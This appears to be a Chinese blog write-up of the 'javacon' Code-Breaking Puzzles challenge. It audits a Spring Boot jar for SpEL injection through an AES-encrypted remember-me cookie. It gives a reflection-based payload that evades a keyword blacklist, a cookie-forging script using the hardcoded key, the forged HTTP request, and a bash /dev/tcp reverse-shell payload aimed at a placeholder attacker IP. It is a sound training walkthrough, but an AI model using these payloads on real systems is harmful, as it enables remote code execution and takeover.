【网络安全 | Java代码审计】Code-Breaking Puzzles-javacon

未经许可,不得转载。

源码:https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar,下载至桌面。

考察知识点:SpEL注入

正文

执行命令运行环境:

java -jar C:\Users\86177\Desktop\challenge-0.0.1-SNAPSHOT.jar

浏览器访问localhost:8080

使用JD-GUI反编译,目录结构大致如下:

这是一个spring框架,先分析application.yml文件:

该文件设置了黑名单,主要过滤了任何包含 java.lang 的关键字、Runtime 类、exec 方法;并且配置了默认的用户名密码为admin、admin以及用于 remember-me 功能的密钥。

Spring框架的关键点在于Controller,即控制器,我们看看MainController.java文件实现了什么功能。

文件中,MainController.class定义了ExpressionParser:

该属性在该文件下的getAdvanceValue()函数中会被调用来解析字符串内容:

由此可知,getAdvanceValue()函数是SpEL 注入的触发点。

接着,admin()函数中调用了getAdvanceValue()函数,传递的参数为输入的username的值:

现在让我们跟进username参数,看其在哪个场景下存在SpEL注入。首先看login()函数:

/*     */   @PostMapping({"/login"})
/*     */   public String login(@RequestParam(value = "username", required = true) String username, @RequestParam(value = "password", required = true) String password, @RequestParam(value = "remember-me", required = false) String isRemember, HttpSession session, HttpServletResponse response) {
/*  70 */     if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
/*  71 */       session.setAttribute("username", username);
/*     */       
/*  73 */       if (isRemember != null && !isRemember.equals("")) {
/*  74 */         Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
/*  75 */         c.setMaxAge(2592000);
/*  76 */         response.addCookie(c);
/*     */       } 
/*     */       
/*  79 */       return "redirect:/";
/*     */     } 
/*  81 */     return "redirect:/login-error";
/*     */   }

这里传入了三个参数,包括username、password和remember-me,其中前两个是必须传入的,remember-me是非必须传入的。

在第一个if条件中,通过 this.userConfig.getUsername()this.userConfig.getPassword() 方法从配置中获取用户名和密码,并与请求中的用户名和密码进行比较。如果用户名和密码匹配,则认为用户登录成功。接着使用session.setAttribute("username")将用户名存储在 HTTP 会话中,方便后续的请求使用:

可以看到,只有在username匹配成功的情况下,才能调用session.setAttribute("username"),因此无法将username构造为payload,即无法实现SpEL注入。

接着我们再跟进admin()函数:

先从请求头Cookie中提取remember-me参数的值,当remember-me的值为空时,调用session.getAttribute("username")来获取HTTP会话中username的值,再调用getAdvanceValue()函数来处理username,此时由于username是正确的用户名,因此无法实现SpEL注入:

/*     */     
/*  43 */     Object username = session.getAttribute("username");
/*  44 */     if (username == null || username.toString().equals("")) {
/*  45 */       return "redirect:/login";
/*     */     }
/*     */     
/*  48 */     model.addAttribute("name", getAdvanceValue(username.toString()));
/*  49 */     return "hello";

当remember-me的值不为空时(即登录时勾选了remember-me),使用 decryptRememberMe 方法解密 Cookie 值,并将解密后的值存储在 HTTP 会话中,作为 "username" 属性:

/*     */   public String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue, HttpSession session, Model model) {
/*  36 */     if (rememberMeValue != null && !rememberMeValue.equals("")) {
/*  37 */       String str = this.userConfig.decryptRememberMe(rememberMeValue);
/*  38 */       if (str != null) {
/*  39 */         session.setAttribute("username", str);
/*     */       }
/*     */     } 

可以看到,此时的username可控,可以实现SpEL注入。

因此,我们只需输入admin/admin并勾选remember-me选项,点击登录,然后在请求包中修改Cookie内容即可。

这里注意,需要将proxy及burp的端口修改为8081,防止与本地环境冲突。

由于application.yml文件中过滤了任何包含 java.lang 的关键字、Runtime 类、exec 方法,那该如何构造Payload实现绕过呢?

可以利用 Java 的反射机制来绕过黑名单限制。通过 Class.forName()Method.getMethod() 等重要的方法,可以动态加载和调用方法,而这些方法的参数是字符串,因此可以通过字符串拼接的方式绕过黑名单检查。

构造后的初始Payload如下:

String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"});

在SpEL中,使用T()运算符会调用类作用域的方法和常量。这里需要将Payload修改为满足SpEL的解析格式:

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})}

接着,将该Payload进行加密即可,源代码的加密部分如下:

其中,涉及到三个参数,initVector为c0dehack1nghere1(在ChallengeApplication.java中)、key为0123456789abcdef(在UserConfig.java中)、value为admin。

构造加密脚本:

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;

public class ice{
    public static void main(String[] args)
    {
        String key="c0dehack1nghere1";
        String initVector="0123456789abcdef";
        String value="admin";
        /*    */     try {
        /* 15 */       IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
        /* 16 */       SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
        /*    */
        /* 18 */       Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
        /* 19 */       cipher.init(1, skeySpec, iv);
        /*    */
        /* 21 */       byte[] encrypted = cipher.doFinal(value.getBytes());
        /*    */
        /* 23 */       System.out.println(Base64.getUrlEncoder().encodeToString(encrypted));
        /* 24 */     } catch (Exception ex) {
        /* 28 */       System.out.println(ex.getMessage());
        /*    */     }
    }
}

可以看到,value为admin时,加密后的结果与burp中的remember-me参数是一致的,说明加密脚本构造成功。

接着,将admin改为payload即可:

请求包如下:

GET / HTTP/1.1
Host: localhost:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Referer: http://localhost:8080/login;jsessionid=6F134EE0A90DCC7435DDC29F6A6FE9D1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=6F134EE0A90DCC7435DDC29F6A6FE9D1; remember-me=bvik1nAmjEAllRdn5UKWGC9uCj0hW0P2B6k1uigkS1acKxD9b_xNi-x09UGgjU1DvDEI2GGk4Jn0ApM_cSVc0G7kGnvvtewNRVsfqFUCR0fMAPqbj6yqACW6XVtt8Fp1nBwebKd7pkYSZCv6Yj3X7H-0-8HDV6F3sS3yWHUQEBPAyiNmKfkSKUV5VVlNdo16Nij8YX8HvKdeMHJ7_5Sdjfmfq3dKPeUOivMyVp_GdEkffgly4YX4eWCOzQRr4uQgodsKw2pC9N9udnw3Fz7O5ZhzmoYttjLubBowMtkF-Q6HHCvBrK9SWCzRQXC6jqYX_XeqyZuDreUixnpXpzlN9H7gNu6g_wGm_cm_ZTToae358b5MVNWC71uaMEt3PRJl
Connection: close


弹出本地计算器,SpEL注入成功:

构造反弹shell:

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/攻击机IP/端口 0>&1"})}
posted @ 2024-09-02 20:37  秋说  阅读(30)  评论(0编辑  收藏  举报